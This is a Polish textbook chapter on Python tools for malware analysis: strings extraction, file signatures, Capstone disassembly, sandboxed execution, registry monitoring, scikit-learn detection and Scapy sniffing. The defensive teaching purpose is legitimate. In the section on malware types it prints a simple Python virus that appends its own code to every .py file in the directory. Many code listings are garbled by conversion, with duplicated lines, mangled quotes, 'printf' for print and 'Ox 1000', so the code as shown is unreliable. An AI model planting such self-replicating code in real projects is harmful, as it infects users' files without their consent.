
Tworzenie i używanie narzędzi do analizy złośliwego oprogramowania z Pythonem 

Coraz większe wyrafinowanie złośliwego oprogramowania wymaga zaawansowanych narzędzi i 

technik do jego analizy i zrozumienia. Ten rozdział zagłębia się w tworzenie i stosowanie narzędzi 

opartych na Pythonie do analizy złośliwego oprogramowania zarówno statycznego, jak i 

dynamicznego. Prowadzi czytelników przez proces konfigurowania bezpiecznego środowiska analizy, 

automatyzowania procesu analizy złośliwego oprogramowania w celu zrozumienia jego cech i intencji 

oraz wykorzystywania możliwości Pythona do rozpakowywania, deobfuskacji i analizowania złośliwego 

kodu. Tworząc niestandardowe skrypty i wykorzystując rozbudowany ekosystem bibliotek Pythona, 

czytelnicy będą wyposażeni w narzędzia do automatyzacji ekstrakcji wskaźników naruszenia (loC), co 

znacznie zwiększy ich zdolność do reagowania na zagrożenia stwarzane przez złośliwe 

oprogramowanie i ich łagodzenia. 

Wprowadzenie do analizy złośliwego oprogramowania 

Analiza złośliwego oprogramowania to proces rozkładania złośliwego oprogramowania na czynniki 

pierwsze w celu zrozumienia jego wewnętrznych mechanizmów, funkcjonalności i potencjalnych 

intencji jego twórców. Wraz z wykładniczym wzrostem liczby i złożoności złośliwego oprogramowania, 

analiza i zrozumienie zagrożenia, jakie stwarza złośliwe oprogramowanie, stało się kluczową 

umiejętnością w dziedzinie cyberbezpieczeństwa. To zrozumienie jest kluczowe dla opracowania 

skutecznych strategii obronnych w celu ochrony systemów informatycznych przed atakami złośliwego 

oprogramowania. Istnieją zasadniczo dwa rodzaje analizy złośliwego oprogramowania: statyczna i 

dynamiczna. 

• Analiza statyczna polega na badaniu złośliwego oprogramowania bez jego uruchamiania. Może to 

obejmować analizę kodu binarnego, inspekcję struktury złośliwego oprogramowania i badanie 

osadzonych ciągów lub zasobów. Analiza statyczna może ujawnić bogactwo informacji o tym, co 

złośliwe oprogramowanie zamierza zrobić, bez potencjalnych ryzyk związanych z uruchomieniem 

złośliwego oprogramowania. 

• Analiza dynamiczna polega na uruchamianiu złośliwego oprogramowania w kontrolowanym 

środowisku w celu obserwacji jego zachowania. Ta metoda pozwala analitykowi zobaczyć, w jaki 

sposób złośliwe oprogramowanie wchodzi w interakcje z systemem, jaką komunikację sieciową 

próbuje nawiązać i jakie zmiany wprowadza w systemie. Analiza dynamiczna może dostarczyć 

informacji na temat działania złośliwego oprogramowania w czasie wykonywania i mechanizmów 

unikania, które mogą nie być widoczne w przypadku samej analizy statycznej. 

Obie metody mają swoje mocne i słabe strony i są często używane łącznie w celu uzyskania 

kompleksowego zrozumienia złośliwego oprogramowania. Rola języka Python w analizie złośliwego 

oprogramowania jest coraz bardziej podkreślana ze względu na jego prostotę i potężny ekosystem 

bibliotek, które oferuje. Python umożliwia automatyzację zarówno procesów analizy statycznej, jak i 

dynamicznej, znacznie skracając czas i wysiłek wymagany do analizy złożonych próbek złośliwego 

oprogramowania. Dzięki Pythonowi analitycy mogą szybko tworzyć skrypty niestandardowych 

rozwiązań w celu analizowania, monitorowania i analizy złośliwego oprogramowania, co czyni go 

niezbędnym narzędziem w zestawie narzędzi analityka cyberbezpieczeństwa. Na przykład Pythona 

można użyć do zautomatyzowania ekstrakcji ciągów z pliku binarnego, wyszukiwania znanych 

złośliwych wzorców, interakcji ze złośliwym oprogramowaniem w środowisku piaskownicy, a nawet 

zastosowania uczenia maszynowego w celu klasyfikowania i przewidywania zachowania złośliwego 

oprogramowania. Rozważ poniższy fragment kodu Pythona, który pokazuje prostotę ekstrakcji ciągów 

z pliku binarnego za pomocą narzędzia strings dostępnego w systemach opartych na systemie Unix: 



1 import subprocess 

2 

3 def extract_strings(file_path): 

4 try: 

5 # Executing the strings command on the binary file 

6 result = subprocess.check_output(["strings", file_path]) 

7 return result.decode(’utf-8’) 

8 except Exception as e: 

9 print("An error occurred:", e) 

1 import subprocess 

2 

3 def extract_strings(file_path): 

4 try: 

5 # Executing the strings command on the binary file 

6 result = subprocess.check_output(["strings", file_path]) 

7 return result.decode(’utf-8’) 

8 except Exception as e: 

9 print("An error occurred:", e) 

10 return None 

11  

12# Example usage 

13 strings_output = extract_strings("example_malware.bin") 

14 print(strings_output) 

W powyższym kodzie funkcja extract_strings wykorzystuje moduł subprocess do wykonania polecenia 

strings w pliku binarnym określonym przez file_path. Następnie dane wyjściowe są dekodowane z 

bajtów do ciągu UTF-8, który jest zwracany do wywołującego. Ta prosta automatyzacja może być 

pierwszym krokiem w statycznej analizie złośliwego oprogramowania, dostarczając cennych informacji 

na temat potencjalnych wskaźników zagrożenia (IOC). 

Ta sekcja przygotowała grunt pod zrozumienie podstaw analizy złośliwego oprogramowania i 

kluczowej roli, jaką Python odgrywa w tej dziedzinie. W poniższych sekcjach szczegółowe wyjaśnienia 

i praktyczne skrypty Pythona poprowadzą czytelników przez proces konfigurowania środowisk 

analitycznych, wykonywania zarówno analiz statycznych, jak i dynamicznych oraz wykorzystywania 

możliwości Pythona do wydajnej automatyzacji tych procesów. 

Podstawy złośliwego oprogramowania i jego typy 



Malware, zlepek słów malware software, obejmuje szeroki zakres oprogramowania zaprojektowanego 

w celu wyrządzenia szkody pojedynczym komputerom, środowiskom serwerowym lub infrastrukturom 

sieciowym. W swojej istocie złośliwe oprogramowanie ma na celu inwazję, uszkodzenie lub wyłączenie 

systemu docelowego, często pozostając niewykrytym tak długo, jak to możliwe. W tej sekcji omówione 

zostaną główne kategorie złośliwego oprogramowania, z których każda charakteryzuje się unikalnymi 

zachowaniami, metodami ataku i celami. 

Wirus 

Wirus to rodzaj złośliwego oprogramowania, które rozprzestrzenia się poprzez wstawianie swojej kopii 

do innego programu i stawanie się jego częścią. Rozprzestrzenia się z zainfekowanych hostów na czyste 

hosty, gdy oprogramowanie lub dokumenty, do których jest dołączone, są przesyłane między 

komputerami. Wirusy mogą uszkadzać pliki, formatować dyski twarde lub replikować się, aby 

przeciążyć sieć, ale do wykonania wymagają interakcji człowieka, takiej jak uruchomienie 

zainfekowanej aplikacji.  

Przykład: prosty wirus Pythona, który może dołączać się do innych plików Pythona. 

1 # simple _virus.py 

2 def virus(): 

3  files = [f for f in os.listdir() if f.endswith(’.py’)] 

4 for f in files: 

5 with open(f, ’r*) as original_file: 

6 content = original_file.read() 

7 if ’# virus-end’ in content: 

8 continue 

9 with open(f, ’a’) as infected_file: 

10 infected_file.write('\n# virus-start\n’) 

11 with open(_____file__, ’r’) as payload: 

12 infected_file.write(payload.read()) 

13 infected_file.write('\n# virus-end\n’) 

14  

15 virus() 

Robak 

W przeciwieństwie do wirusa, robak to samoreplikujące się złośliwe oprogramowanie, które nie 

wymaga interakcji człowieka, aby się rozprzestrzeniać. Po aktywacji w jednym systemie może 

autonomicznie rozprzestrzeniać się w sieciach, wykorzystując luki w zabezpieczeniach systemów 

operacyjnych lub oprogramowania aplikacji, aby infekować inne maszyny. Robaki często powodują 

szkody, zużywając przepustowość lub przeciążając serwery internetowe. 

Koń trojański 



Koń trojański, zwany również trojanem, podszywa się pod legalny program, ale po uruchomieniu 

wykonuje złośliwe operacje. W przeciwieństwie do wirusów i robaków, trojany nie replikują się same, 

ale mogą działać jako nośnik innego złośliwego oprogramowania. 

Ransomware 

Ransomware to rodzaj złośliwego oprogramowania, które szyfruje dane ofiary lub blokuje 

użytkownikom dostęp do systemu, żądając zapłaty w zamian za klucz deszyfrujący lub zwalniając 

kontrolę nad systemem. Stało się jednym z najpoważniejszych zagrożeń w cyberbezpieczeństwie ze 

względu na bezpośredni koszt pieniężny dla ofiar. 

Spyware 

Spyware jest przeznaczony do zbierania informacji o osobie lub organizacji bez jej wiedzy, wysyłając 

takie informacje do innego podmiotu, który może je wykorzystać. Obejmuje to keyloggery, które 

rejestrują naciśnięcia klawiszy na klawiaturze w celu przechwycenia haseł lub informacji finansowych. 

Adware 

Adware, choć często uważane za mniej złośliwe, automatycznie wyświetla lub pobiera materiały 

reklamowe, gdy użytkownik jest online. Może naruszyć prywatność i obniżyć wydajność systemu, a 

czasami służy jako brama dla bardziej złośliwych zagrożeń. 

Rootkit 

Rootkity umożliwiają zdalną kontrolę nad zainfekowanym systemem, ukrywając siebie i inne obecne 

złośliwe oprogramowanie. Zaprojektowane tak, aby uniknąć wykrycia, rootkity stanowią jeden z 

najtrudniejszych typów złośliwego oprogramowania do wykrycia i wyeliminowania. 

Każda kategoria złośliwego oprogramowania posiada unikalne cechy i taktyki operacyjne, wymagające 

dostosowanej analizy i strategii łagodzenia. Ewolucja złośliwego oprogramowania wymaga stałej 

czujności i adaptacji praktyk cyberbezpieczeństwa, aby skutecznie przeciwdziałać narastającym 

zagrożeniom stwarzanym przez te złośliwe podmioty. 

Konfigurowanie bezpiecznego środowiska do analizy złośliwego oprogramowania 

Konfigurowanie bezpiecznego środowiska do analizy złośliwego oprogramowania jest niezbędnym 

krokiem przed przystąpieniem do analizy i zrozumienia próbek złośliwego oprogramowania. Głównym 

powodem tego jest odizolowanie struktury analizy od sieci osobistych lub organizacyjnych w celu 

zapobiegania przypadkowej propagacji lub wykonywaniu złośliwego oprogramowania. Konfiguracja 

obejmuje konfigurowanie maszyn wirtualnych (VM), wykorzystywanie technik piaskownicy sieciowej i 

przygotowywanie narzędzi do analizy. 

Konfiguracja maszyny wirtualnej 

Maszyny wirtualne zapewniają wydzielone środowisko, którym można łatwo zarządzać, tworzyć 

migawki i przywracać. Ta elastyczność jest kluczowa dla analizy złośliwego oprogramowania. 

Konfiguracja maszyn wirtualnych obejmuje kilka kluczowych kroków: 

• Wybór platformy wirtualizacji: Opcje obejmują VMware, VirtualBox i QEMU. Każda platforma ma 

swój unikalny zestaw funkcji i opcji zgodności. Dla początkujących VirtualBox oferuje bezpłatny i 

przyjazny dla użytkownika wybór. 

• Instalowanie gościnnego systemu operacyjnego (OS): Wybór systemu operacyjnego może się różnić 

w zależności od docelowego złośliwego oprogramowania. Jednak powszechne jest używanie systemu 



Windows ze względu na jego powszechne ukierunkowanie przez autorów złośliwego oprogramowania. 

Należy pamiętać, że może być wymagana ważna licencja. 

• Konfiguracja maszyny wirtualnej: Przydziel zasoby (rdzenie procesora, pamięć RAM) odpowiednio do 

maszyny wirtualnej, aby zapewnić jej wydajną pracę. Zaleca się również wyłączenie dostępu do sieci 

lub ścisłą kontrolę za pomocą ustawień sieci wirtualnej, aby odizolować złośliwe oprogramowanie od 

prawdziwych sieci. 

• Tworzenie migawek: Po skonfigurowaniu maszyny wirtualnej za pomocą niezbędnych narzędzi i 

konfiguracji należy wykonać migawkę. Umożliwia to łatwe odzyskiwanie do znanego bezpiecznego 

stanu po każdej sesji analizy złośliwego oprogramowania. 

Piaskownica sieciowa 

Piaskownica sieciowa to praktyka wykonywania lub symulowania wykonywania złośliwego 

oprogramowania w kontrolowanym środowisku sieciowym w celu obserwacji jego zachowania. 

Techniki piaskownicy sieciowej obejmują: 

• Korzystanie z fałszywych serwerów DNS: Serwery te mogą kontrolować odpowiedzi DNS w celu 

monitorowania lub ograniczania prób komunikacji złośliwego oprogramowania. 

• Podsłuchiwanie i analiza ruchu: Narzędzia takie jak Wireshark mogą przechwytywać i analizować 

pakiety sieciowe. Jest to przydatne do badania wzorców komunikacji złośliwego oprogramowania. 

• Symulacja Internetu: Narzędzia takie jak INetSim lub Fakenet umożliwiają symulację usług 

internetowych (HTTP, FTP itp.), aby obserwować, w jaki sposób złośliwe oprogramowanie wchodzi w 

interakcje z usługami sieciowymi bez zezwalania na rzeczywistą komunikację. Konfiguracja środowiska 

sieciowego typu sandbox obejmuje konfigurację wirtualnych interfejsów sieciowych i reguł routingu w 

celu kierowania ruchem przez narzędzia analityczne bez ujawniania rzeczywistej sieci lub Internetu. 

Konfiguracja narzędzi analitycznych 

Do kompleksowej analizy złośliwego oprogramowania wymagany jest szereg narzędzi. Należą do nich 

narzędzia do analizy statycznej, narzędzia do analizy dynamicznej i specjalistyczne skrypty do 

automatyzacji. Narzędzia do analizy statycznej, takie jak PEview i Dependency Walker, są przydatne do 

badania struktury binarnej i zależności plików wykonywalnych bez ich uruchamiania. Narzędzia do 

analizy dynamicznej, takie jak Process Monitor i Regshot, mogą śledzić zmiany w systemie w czasie 

rzeczywistym wprowadzane przez złośliwe oprogramowanie. Skrypty Pythona można opracowywać 

lub wykorzystywać do automatyzacji powtarzających się zadań w procesie analizy. 

Python, dzięki swojej rozbudowanej bibliotece standardowej i modułom innych firm, jest szczególnie 

odpowiedni do tworzenia skryptów w analizie złośliwego oprogramowania. Może automatyzować 

zadania, takie jak skanowanie plików, obliczanie skrótów i analiza ruchu sieciowego z względną 

łatwością. Na przykład, aby zautomatyzować ekstrakcję ciągów z próbki złośliwego oprogramowania, 

poniższy skrypt Pythona używa modułu subprocess: 

1 import subprocess 

2 

3 def extract_strings(file_path): 

4 try: 

5 result = subprocess.run([’strings’, file_path], 



6 capture_output=True, text=True) 

7 return result.stdout 

8 except Exception as e: 

9 return str(e) 

10 

11 file_path = ’path_to_malware_sample.exe' 

12 print(extract_strings(file_path)) 

Ten skrypt wywołuje ciągi narzędzi UNIX, aby wyodrębnić ciągi czytelne dla człowieka z pliku binarnego, 

wspomagając statyczną analizę złośliwego oprogramowania. Prawidłowa konfiguracja środowiska 

analizy stanowi podstawę wydajnej i bezpiecznej analizy złośliwego oprogramowania. Wykorzystując 

maszyny wirtualne, piaskownice sieciowe i arsenał narzędzi analitycznych, badacze mogą analizować 

złośliwe oprogramowanie przy znacznie zmniejszonym ryzyku. Elastyczność języka Python jako języka 

skryptowego dodatkowo zwiększa automatyzację zadań analitycznych, czyniąc proces bardziej 

wydajnym i skutecznym. 

Python do analizy statycznego złośliwego oprogramowania 

Analiza statyczna odnosi się do badania złośliwego oprogramowania bez jego uruchamiania, co 

pozwala badaczom na wyodrębnienie cennych informacji i zrozumienie jego wewnętrznej struktury i 

potencjalnego wpływu. Python, dzięki bogatemu ekosystemowi bibliotek i prostej składni, zapewnia 

optymalną platformę do opracowywania narzędzi ułatwiających analizę statyczną. 

W tej sekcji omawiamy, jak używać Pythona do różnych zadań związanych ze statyczną analizą 

złośliwego oprogramowania, w tym analizy podpisów plików, ekstrakcji ciągów i demontażu kodu 

binarnego. Metody te umożliwiają identyfikację potencjalnie złośliwego kodu, zrozumienie 

funkcjonalności złośliwego oprogramowania i wykrywanie wskaźników naruszenia (loC) bez ryzyka 

uruchomienia złośliwego oprogramowania. 

Analiza podpisów plików 

Analiza podpisów plików jest niezbędnym krokiem w określaniu, czy plik jest złośliwy. Ten proces 

obejmuje badanie informacji nagłówka pliku w celu zidentyfikowania jego typu i potencjalnych 

zastosowanych technik zaciemniania lub pakowania. 

1 import magic 

2  

3 def check_file_signature(file_path): 

4 file_type = magic.from_file(file_path) 

5 print(f"File Type: {file_type}") 

6 

7 # Example usage 

8 file_path = "sample_malware.exe" 



9 check_file_signature(file_path) 

Typ pliku: plik wykonywalny PE32 (GUI) Intel 80386, dla systemu MS Windows 

Magia pakietu Python jest tutaj wykorzystywana do identyfikacji typu pliku na podstawie jego podpisu. 

Informacje te są kluczowe dla dalszej analizy, ponieważ różne typy plików wymagają różnych technik 

analizy. 

Ekstrakcja ciągu 

Ekstrakcja ciągów z próbki złośliwego oprogramowania to prosty, ale skuteczny sposób na uzyskanie 

wglądu w jego funkcjonalność. Ciągi mogą ujawniać adresy sieciowe, ścieżki plików i inne loC. 

1 import re 

2 from subprocess import Popen, PIPE 

3 

4 def extract_strings(file_path): 

5 with Popen(["strings", file_path], stdout=PIPE) as proc: 

6 output = proc.stdout.read().decode(’utf-8') 

7 return re.findall("[\x20-\x7E]{4,}", output) 

8 

9 # Example usage 

10 file_path = "sample_malware.exe" 

11 strings = extract_strings(file_path) 

12 print(strings[: 10]) # Print first 10 strings 

W tym przykładzie program strings z GNU Binutils jest wywoływany za pomocą Pythona w celu 

wyodrębnienia czytelnych sekwencji znaków z pliku binarnego. Ta metoda jest szczególnie przydatna 

do szybkich inspekcji i może ujawnić zakodowane na stałe literały, które są istotne dla analizy. 

Deasemblacja kodu binarnego 

Deasemblacja kodu binarnego pozwala analitykom na inspekcję instrukcji niskiego poziomu w próbce 

złośliwego oprogramowania, oferując głębszy wgląd w jej mechanikę operacyjną. Biblioteka Pythona 

Capstone oferuje kompleksowe ramy do demontażu, co czyni ją potężnym narzędziem do analizy 

statycznej. 

1 from capstone import * 

2 

3 def disassemble_binary(file_path): 

4 with open(file_path, "rb") as f: 

5 code = f.read() 

6 



7 md = Cs(CS_ARCH_X86, CS_MODE_32) 

8 for i in md.disasm(code, Ox 1000): 

9 print("Oxo/ox:\to/os\t%s" %(i.address, i.mnemonic, i.op_str)) 

10 

11# Example usage 

12 file_path = "sample_malware.exe" 

13 disassemble_binary(file_path) 

Ten przykład pokazuje, jak odczytać plik binarny, zainicjować deasembler Capstone z odpowiednią 

architekturą i iterować po zdeasemblowanych instrukcjach. Dane wyjściowe zawierają adres pamięci, 

mnemonik i operand(y) dla każdej instrukcji, zapewniając analitykom szczegółowy wgląd w przepływ 

wykonywania złośliwego oprogramowania. Różnorodne możliwości Pythona ułatwiają solidne 

podejście do statycznej analizy złośliwego oprogramowania, umożliwiając wyodrębnienie istotnych 

szczegółów ze złośliwego oprogramowania. Dzięki wykorzystaniu bibliotek, takich jak magic, narzędzie 

GNU strings i Capstone, analitycy mogą sprawnie analizować i rozumieć próbki złośliwego 

oprogramowania. Techniki opisane w tej sekcji stanowią podstawowe umiejętności dla osób, które 

chcą specjalizować się w analizie złośliwego oprogramowania i przyczyniać się do bieżących wysiłków 

domeny cyberbezpieczeństwa przeciwko złośliwym podmiotom. 

Dynamiczna analiza złośliwego oprogramowania za pomocą Pythona 

Dynamiczna analiza złośliwego oprogramowania polega na uruchomieniu złośliwego oprogramowania 

w kontrolowanym środowisku w celu obserwacji jego zachowania. Ta metoda jest kluczowa dla 

zrozumienia rzeczywistych działań, które złośliwe oprogramowanie może wykonywać, takich jak 

manipulacja plikami, komunikacja sieciowa i modyfikacje kluczy rejestru. Python, z jego kompleksową 

biblioteką standardową i szeregiem pakietów innych firm, jest doskonałym narzędziem do 

automatyzacji i ulepszania procesów dynamicznej analizy złośliwego oprogramowania. Aby rozpocząć 

dynamiczną analizę, kluczowe jest przygotowanie bezpiecznego i odizolowanego środowiska, 

powszechnie nazywanego piaskownicą. Zapewnia to, że złośliwe oprogramowanie nie może wyrządzić 

szkody systemowi hosta ani sieci. Moduł podprocesów Pythona pozwala analitykom uruchamiać 

złośliwe oprogramowanie w tym środowisku piaskownicy i obserwować jego zachowanie, 

jednocześnie zapewniając bezpieczeństwo systemu hosta. 

1 import subprocess 

2 

3 # Specify the path to the malware and to the sandbox environment 

4 malware_path = "C:/sandbox/malicious_file.exe" 

5 sandbox_path = "C:/sandbox/" 

6 

7 # Use subprocess to execute the malware in the sandbox 

8 result = subprocess.Popen([malware_path], cwd=sandbox_path, stdout=subprocess.PIPE, 

stderr=subprocess.PIPE) 



9 out, err = result.communicate() 

10 

11 printf’Output:", out) 

12 printf'Error:", err) 

Monitorowanie ruchu sieciowego generowanego przez malware dostarcza informacji na temat jego 

komunikacji z serwerami zewnętrznymi, które mogą być serwerami poleceń i kontroli (C&C) lub 

punktami eksfiltracji danych. Moduł gniazda Pythona może być używany do przechwytywania i 

analizowania tego ruchu. 

1 import socket 

2 

3 # Creating a socket object 

4 s = socket.socket(socket.AF_INET, socket.SOCK.STREAM) 

5 

6 # Host and port to listen on 

7 host = ” # Listen on all interfaces 

8 port = 8080 # Arbitrary non-privileged port 

9 

10 s.bind((host, port)) 

11 s.listen(5) 

12 

13 print("Listening on port:", port) 

14  

15# Accept connections from the malware 

16 while True: 

17 client, address = s.accept() 

18 print(’Received connection from', address) 

19 client.send(’Connection established’.encode()) 

20 client.close) 

Interakcja z systemem plików i rejestrem systemu Windows to kolejny aspekt analizy dynamicznej. 

Moduły os i winreg języka Python ułatwiają te operacje, umożliwiając analitykom monitorowanie 

tworzenia, modyfikowania, usuwania i modyfikacji kluczy rejestru dokonywanych przez złośliwe 

oprogramowanie. 

1 import os 



2 import winreg 

3 

4 # Monitor file system changes 

5 for root, dirs, files in os.walk("C:/sandbox/"): 

6 for file in files: 

7 print("File:", os.path.join(root, file)) 

8 

9 # Monitor Windows Registry changes 

10 with winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, r"SOFTWARE", 0, winreg.KEY_READ) as key: 

11 try: 

12 index = 0 

13 while True: 

14 name, value, _ = winreg.EnumValue(key, index) 

15 print("Registry Key:", name, "Value:", value) 

16 index += 1 

17 except WindowsError: 

18 pass 

Aby przeprowadzić kompleksową analizę dynamiczną, niezbędna jest automatyzacja procesu zbierania 

i analizy danych. Skrypty Pythona można zaprojektować tak, aby koordynowały cały przepływ pracy 

analizy, od uruchamiania złośliwego oprogramowania w piaskownicy, przechwytywania ruchu 

sieciowego i audytowania zmian w systemie plików i rejestrze, po analizowanie i raportowanie ustaleń. 

Wykorzystanie rozbudowanego ekosystemu bibliotek Pythona, takiego jak scapy do analizy sieci i 

pandas do manipulacji danymi, dodatkowo umożliwia badaczom skuteczną automatyzację i 

skalowanie operacji analizy złośliwego oprogramowania. 

Dane wyjściowe: przechwycono komunikację sieciową złośliwego oprogramowania. 

Zmodyfikowany plik: C:/sandbox/malicious_file.txt 

Zmodyfikowany klucz rejestru: HKEY_LOCAL_MACHINE\SOFTWARE\MaliciousKey 

Na koniec kluczowe jest wyczyszczenie środowiska piaskownicy po analizie, aby zapobiec wpływowi 

resztkowego złośliwego oprogramowania na kolejne analizy. Moduł shutil Pythona można wykorzystać 

do bezpiecznego usunięcia zawartości piaskownicy. 

1 import shutil 

2 

3 # Path to the sandbox environment 

4 sandbox_path = "C:/sandbox/" 



5 

6 # Remove the sandbox directory and its contents 

7 shutil.rmtree(sandbox_path) 

8  

9 print("Sandbox cleaned up successfully.") 

Analiza dynamiczna, przeprowadzana przy pomocy Pythona, jest niezbędna w walce ze złośliwym 

oprogramowaniem. Poprzez automatyzację wykonywania i obserwacji złośliwego oprogramowania w 

kontrolowanym środowisku analitycy mogą odkryć intencje i skutki złośliwego oprogramowania bez 

narażania swoich systemów. Ta technika stanowi uzupełnienie analizy statycznej, zapewniając 

pełniejszy obraz potencjalnego wpływu złośliwego oprogramowania. 

Automatyzacja wykrywania złośliwego oprogramowania za pomocą uczenia maszynowego w 

Pythonie 

Automatyzacja wykrywania złośliwego oprogramowania za pomocą technik uczenia maszynowego 

(ML) w Pythonie wykorzystuje moc analiz opartych na danych do przewidywania, identyfikowania i 

reagowania na zagrożenia złośliwego oprogramowania z dokładnością i szybkością nieosiągalną za 

pomocą metod ręcznych. W tej sekcji opisano, jak stosować algorytmy uczenia maszynowego do 

wykrywania złośliwego oprogramowania, koncentrując się na wyborze funkcji, szkoleniu modelu, 

ocenie i integracji operacyjnej. Najpierw zagłębiamy się w wymagania wstępne dotyczące 

wykorzystania uczenia maszynowego w wykrywaniu złośliwego oprogramowania. Wdrożenie 

skutecznych modeli uczenia maszynowego wymaga kompleksowego zestawu danych, który obejmuje 

zarówno łagodne, jak i złośliwe próbki oprogramowania. Bogaty ekosystem Pythona oferuje biblioteki 

takie jak pandas do manipulacji danymi, NumPy do obliczeń numerycznych i scikit-learn do uczenia 

maszynowego, które są pomocne w przygotowywaniu i analizowaniu tego zestawu danych. 

Wybór i ekstrakcja cech 

Wybór cech jest kluczowym krokiem w przygotowywaniu zestawu danych do uczenia maszynowego. 

Celem jest zidentyfikowanie cech plików, które najbardziej wskazują na złośliwe zachowanie. Cechy te 

mogą obejmować atrybuty statyczne, takie jak użycie określonych wywołań API lub podejrzanych 

ciągów osadzonych w pliku binarnym złośliwego oprogramowania, po zachowania dynamiczne, takie 

jak wzorce ruchu sieciowego lub zmiany wprowadzane w systemach plików podczas wykonywania. 

1import pandas as pd 

2 from sklearn.feature_selection import SelectKBest, chi2 

3 

4 # Assume 'data1 is a pandas DataFrame with malware samples 

5 # Features are in 'X‘, and labels (benign=O, malicious=l) are in *y* 

6 X = data.dropClabeF, axis=l) 

7 y = data[’label’] 

8 

9 # Applying SelectKBest to extract top 10 features 



10 best_features = SelectKBest(score_func=chi2, k=10) 

11 fit = best_features.fit(X, y) 

12 df.scores = pd.DataFrame(fit.scores_) 

13 df_columns = pd.DataFrame(X.columns) 

14  

15# Concatenating two dataframes for better visualization 

16 feature_scores = pd.concat([df_columns, df.scores], axis=l) 

17 feature_scores.columns = [’Feature’, 'Score'] # naming the dataframe columns 

18 print(feature_scores.nlargest(10, ’Score’)) # print 10 bestfeatures 

Ekstrakcja znaczących cech ma znaczący wpływ na skuteczność modelu uczenia maszynowego. 

Techniki ekstrakcji cech w Pythonie mogą zmniejszyć wymiarowość zbioru danych, poprawiając 

wydajność modelu zarówno pod względem dokładności, jak i wydajności obliczeniowej. 

Trening i ocena modelu 

Po wybraniu odpowiednich cech, następnym krokiem jest trenowanie modelu uczenia maszynowego 

na tych danych. Biblioteka scikit-learn Pythona zapewnia szereg algorytmów odpowiednich do zadań 

klasyfikacyjnych, w tym drzewa decyzyjne, lasy losowe, maszyny wektorów nośnych (SVM) i sieci 

neuronowe. 

1 from sklearn.ensemble import RandomForestClassifier 

2 from sklearn.model_selection import train_test_split 

3 from sklearn.metrics import classification_report 

4 

5 # Splitting the dataset into training and testing sets 

6 X.train, X_test, y.train, y_test = train_test_split(X, y, test_size=0.2) 

7  

8 # Training a RandomForest Classifier 

9 elf = RandomForestClassifier(n_estimators=100) 

10 clf.fit(X_train, y.train) 

11  

12# Predicting the labels of the test set  

13 y_pred = clf.predict(X_test) 

14 

15# Evaluating the model 

16 print(classification_report(y_test, y_pred)) 



Wydajność modelu powinna być rygorystycznie oceniana przy użyciu metryk, takich jak dokładność, 

precyzja, odwołanie i wynik Fl, aby zapewnić jego niezawodność w wykrywaniu złośliwego 

oprogramowania. Techniki walidacji krzyżowej można również stosować w celu oceny skuteczności 

modelu w różnych podzbiorach zestawu danych, zapewniając, że dobrze uogólnia się on na 

niewidziane dane. 

Integracja operacyjna 

Ostatnim krokiem w automatyzacji wykrywania złośliwego oprogramowania za pomocą uczenia 

maszynowego jest zintegrowanie wytrenowanego modelu ze środowiskiem operacyjnym. Tę 

integrację można ułatwić za pomocą skryptów Pythona, które automatyzują proces dostarczania 

nowych próbek oprogramowania do modelu, interpretowania jego przewidywań i podejmowania 

odpowiednich działań na podstawie tych przewidywań. 

1def classify_sample(sample, model=clf): 

2# Function to classify a new software sample 

3 # 'sample' should be pre-processed to match the model's expected feature set 

4 prediction = model.predict([sample]) 

5 return ’Malicious’ if prediction = = 1 else 'Benign' 

Automatyzacja wykrywania złośliwego oprogramowania za pomocą uczenia maszynowego w Pythonie 

może znacznie zwiększyć możliwości specjalistów ds. cyberbezpieczeństwa w zakresie identyfikowania 

i łagodzenia zagrożeń związanych ze złośliwym oprogramowaniem. Wykorzystując biblioteki 

obliczeniowe Pythona i algorytmy uczenia maszynowego, programiści mogą opracowywać bardzo 

dokładne modele zdolne do wykrywania złożonych wzorców złośliwego oprogramowania. Pomimo 

wyzwań związanych z wyborem funkcji, szkoleniem modelu i integracją operacyjną, nadrzędną 

korzyścią jest możliwość proaktywnego przeciwdziałania złośliwemu oprogramowaniu przy minimalnej 

ingerencji człowieka. 

Opracowywanie skryptów Pythona do analizy ruchu sieciowego w badaniach nad złośliwym 

oprogramowaniem 

Analiza ruchu sieciowego odgrywa kluczową rolę w zrozumieniu zachowania złośliwego 

oprogramowania, zwłaszcza w identyfikowaniu jego komunikacji z serwerami zewnętrznymi, działań 

związanych z eksfiltracją danych i technik unikania. Python, dzięki bogatemu zestawowi bibliotek i 

prostocie, oferuje doskonałą platformę do opracowywania skryptów do analizy ruchu sieciowego. Ta 

sekcja koncentruje się na wykorzystaniu Pythona do tworzenia narzędzi, które mogą przechwytywać, 

analizować i raportować działania sieciowe związane ze złośliwym oprogramowaniem. Podstawową 

biblioteką w Pythonie do obsługi ruchu sieciowego jest Scapy. Scapy umożliwia tworzenie, 

manipulowanie i analizę pakietów sieciowych w prosty i intuicyjny sposób. Ponadto, w przypadku 

abstrakcji wyższego poziomu, można wykorzystać biblioteki takie jak dpkt i pyshark. Biblioteki te 

umożliwiają skryptom Pythona przechwytywanie, analizowanie i interpretowanie pakietów sieciowych 

przy minimalnym wysiłku. Na początek, instalacja Scapy jest warunkiem wstępnym. Można to osiągnąć 

za pomocą menedżera pakietów Pythona pip: 

1 pip install scapy 

Po zainstalowaniu Scapy poniższy fragment kodu pokazuje, jak przechwytywać pakiety 

1 from scapy.all import sniff 



2  

3 def packet_callback(packet): 

4 print(packet.show()) 

5 

6 sniff(prn=packet_callback, count=10) 

W powyższym przykładzie sniff jest funkcją Scapy, która przechwytuje pakiety. Parametr pm określa 

funkcję wywołania zwrotnego (packet_callback), która jest wywoływana dla każdego przechwyconego 

pakietu. Parametr count ogranicza liczbę przechwytywanych pakietów; w tym przypadku 10 pakietów. 

Funkcja wywołania zwrotnego po prostu drukuje podsumowanie każdego pakietu za pomocą metody 

show. W przypadku analizy złośliwego oprogramowania często konieczne jest filtrowanie ruchu, aby 

skupić się na określonych typach pakietów lub ruchu z określonych portów. Funkcja sniffing Scapy 

umożliwia określenie filtra za pomocą parametru filter, wykorzystując składnię Berkeley Packet Filter 

(BPF): 

1 sniff(filter="tcp port 80", prn=packet_callback) 

Tutaj skrypt jest skonfigurowany tak, aby przechwytywać tylko pakiety TCP znajdujące się na porcie 80, 

zwykle używanym do ruchu HTTP. Aby wyodrębnić ładunki z strumieni TCP, które mogą zawierać cenne 

dane do analizy złośliwego oprogramowania, można zastosować następujące podejście: 

1 def process_packet(packet): 

2 if packet.haslayer(’TCP’) and packet[’TCP'].payload: 

3 data = packet['TCP’].payload.load 

4 print(data) 

5 

6 sniff(prn=process_packet) 

